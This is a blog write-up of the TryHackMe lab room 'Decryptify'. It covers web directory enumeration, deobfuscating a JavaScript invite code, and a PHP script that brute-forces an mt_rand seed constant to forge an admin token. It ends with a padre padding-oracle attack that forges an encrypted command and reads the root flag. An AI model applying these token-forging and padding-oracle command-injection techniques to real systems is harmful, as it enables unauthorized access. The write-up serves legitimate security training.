TryHackMe — Decryptify | Writeup
Difficulty: Medium Room: https://tryhackme.com/room/decryptify
TryHackMe — Decryptify | Writeup
Difficulty: Medium Room: https://tryhackme.com/room/decryptify
Directory Enumeration & Reconnaissance
The engagement begins with a specific target port (1337) already provided. My first instinct was to map out the attack surface by brute-forcing the web directories.
Using Feroxbuster, I went hunting for hidden files and backend endpoints:
feroxbuster -u http://10.48.168.195:1337
200 GET 1l 15w 723c http://10.48.168.195:1337/js/api.js
200 GET 28l 66w 1043c http://10.48.168.195:1337/api.php
200 GET 9l 88w 644c http://10.48.168.195:1337/logs/app.log
301 GET 9l 28w 326c http://10.48.168.195:1337/phpmyadmin
This scan immediately dropped a goldmine of information:
/logs/app.log: Application logs left globally accessible — a classic Information Disclosure flaw./api.php: The API documentation, which required authentication./js/api.js: The client-side JavaScript handling interactions with the backend.
The most logical starting point was the JavaScript file.
Client-Side Deobfuscation
Looking at /js/api.js, I quickly noticed the code was buried under a heavy layer of obfuscation. This is a common "security by obscurity" tactic developers use to hide sensitive credentials or logic embedded on the client side.
The structure of the script looked something like this:
// 1. Array of scrambled strings
var _0xe43f = ['16OTYqOr','861cPVRNJ','474AnPRwy','H7gY2tJ9wQzD4rS1','5228dijopu','29131EDUYqd','8756315tjjUKB','1232020YOKSiQ','...'];
// ...
// Lots of messy shifting and decoding logic
// ...
// 4. Retrieving the secret
var inviteCode = _0x16b3(0x169);
Instead of manually untangling the shifting logic, I opted for dynamic analysis. I copied the code snippet into my browser’s developer console and added a simple console.log() to print whatever value the final inviteCode variable held.
console.log("%c SECRET CODE IS: " + inviteCode, "color: yellow; background: red; font-size: 24px; padding: 10px;");
Output:
SECRET CODE IS: H7gY2tJ9wQzD4rS1
We extracted what looks like a Master API Key or Invite Code. Now, let’s see what it unlocks.
Reverse Engineering the Token Architecture
Log Analysis & Base64 Tokens
Before rushing to the API documentation, I checked the /logs/app.log file we discovered during enumeration. It revealed some critical past user actions:
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)
The log disclosed an invite generation event for the email alpha@fake.thm. The code MTM0ODMzNzEyMg== is clearly Base64 encoded. Decoding it gave me an interesting, plain number:
echo "MTM0ODMzNzEyMg==" | base64 -d
# Output: 1348337122
Exposing the PRNG Weakness
Using the Master Token (H7gY2tJ9wQzD4rS1), I authenticated to /api.php. The documentation provided here completely exposed the backend logic used to generate invite tokens.
function calculate_seed_value($email, $constant_value) {
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$seed_value = hexdec($email_length + $constant_value + $email_hex);
return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
This is textbook bad cryptography. The token is nothing more than a Base64-encoded output from PHP’s mt_rand() function. Crucially, the random number generator is seeded via mt_srand() using a highly predictable formula based on the user's email and a hidden integer ($constant_value).
Since we have the email alpha@fake.thm and the resulting random number 1348337122, we have all the ingredients for a known-plaintext attack to recover the mysterious $constant_value.
Lateral Movement: Brute-Forcing the Seed Constant
I wrote a quick PHP script to simulate the server’s algorithm and brute-force the $constant_value. My ultimate goal was to generate a valid token for admin@fake.thm.
<?php
$alpha_email = "alpha@fake.thm";
$alpha_target_rand = 1348337122;
echo "[*] Starting Brute Force (Range 0 - 100,000)...\n";
for ($constant = 0; $constant <= 100000; $constant++) {
$email_length = strlen($alpha_email);
$email_hex_std = hexdec(substr($alpha_email, 0, 8));
$seed_val = $email_length + $constant + $email_hex_std;
$final_seed = hexdec((string)$seed_val);
mt_srand($final_seed);
if (mt_rand() == $alpha_target_rand) {
echo "[!!!] JACKPOT!\n";
echo "[+] Constant Value: $constant \n";
break;
}
}
?>
Output:
[!!!] JACKPOT!
[+] Constant Value: 99999
With the constant identified (99999), I plugged it back into the formula to calculate the seed for the admin@fake.thm email. By mirroring PHP's exact hexdec() behavior on strings, I generated the final payload.
[*] Target Email: admin@fake.thm
[*] Seed Calculation: 14 + 99999 + 44538 = 144551
[+] FINAL ADMIN CODE: MTgxNDY2MDg5Mw==
Using this forged token, I successfully logged into the Admin Dashboard, which immediately yielded the user flag under the account hello.

Admin Dashboard access achieved via forged token. The user flag is sitting right in the user list.
Privilege Escalation: Exploiting the Padding Oracle
While inspecting the Admin Dashboard, I noticed a strange encrypted parameter in the footer associated with the date.
Ciphertext: 5X9kAuQTtUMosrVlb6/n9i9hAB8uGX1m1e9jHpvXZXw=
Whenever arbitrary encrypted data is passed without strong integrity checks (like an HMAC), it strongly suggests the potential for a Padding Oracle Attack. If the server leaks information about invalid padding when decrypting ciphertexts, an attacker can decipher data and construct forged payloads without ever knowing the encryption key.
Using Padre for Decryption & Command Forging
To exploit this, I utilized an amazing automated tool called Padre.
1. Validating the Oracle
First, I fed the encrypted string into Padre to let it interact with the endpoint and verify the vulnerability.
padre -u 'http://10.48.168.195:1337/dashboard.php?date=$' \
-cookie 'PHPSESSID=dcrpusklh27ag1md56l9ombfvt' \
'5X9kAuQTtUMosrVlb6/n9i9hAB8uGX1m1e9jHpvXZXw='
[+] successfully detected padding oracle
[+] detected block length: 8
[!] mode: decrypt
[1/1] date +%Y
Padre successfully decrypted the payload to date +%Y. This is a huge realization — the server decrypts this parameter and passes it directly into a system command! This is unauthenticated Command Injection enabled by a cryptographic flaw.
2. Forging our Payload
Knowing that we have remote code execution (RCE), I used Padre’s encryption mode to forge a ciphertext containing my own command to read the root flag.
padre -u 'http://10.48.168.195:1337/dashboard.php?date=$' \
-cookie 'PHPSESSID=dcrpusklh27ag1md56l9ombfvt' \
-enc 'cat /home/ubuntu/flag.txt'
[!] mode: encrypt
[1/1] HTlsB8/Ar+y4gjdECgESheORkEV20jlDC/m3Sc5axuByZ3JlaW5laQ==
3. Execution
I took the generated block of ciphertext, URL-encoded the special characters (+ and =), and pushed it back into the browser's date parameter.
http://10.48.168.195:1337/dashboard.php?date=HTlsB8/Ar%2By4gjdECgESheORkEV20jlDC/m3Sc5axuByZ3JlaW5laQ%3D%3D
Upon refreshing the page, the output of my command — the final root flag — appeared cleanly at the bottom of the dashboard.

The forged ciphertext is decrypted and executed as cat /home/ubuntu/flag.txt, dumping the root flag onto the webpage footer.
Thanks for reading. Follow along for more TryHackMe writeups as I work through the platform. All testing was conducted in an authorized lab environment provided by TryHackMe.
메타데이터
- post_id
- ab8bfc0ee4f8
- slug
- tryhackme-decryptify-writeup-ab8bfc0ee4f8
- url
- https://medium.com/@qr4dity4/tryhackme-decryptify-writeup-ab8bfc0ee4f8
- canonical_url
- https://medium.com/@qr4dity4/tryhackme-decryptify-writeup-ab8bfc0ee4f8
- author_url
- https://medium.com/@qr4dity4
- status
- ok
- fetched_at
- 2026-07-11 23:37:18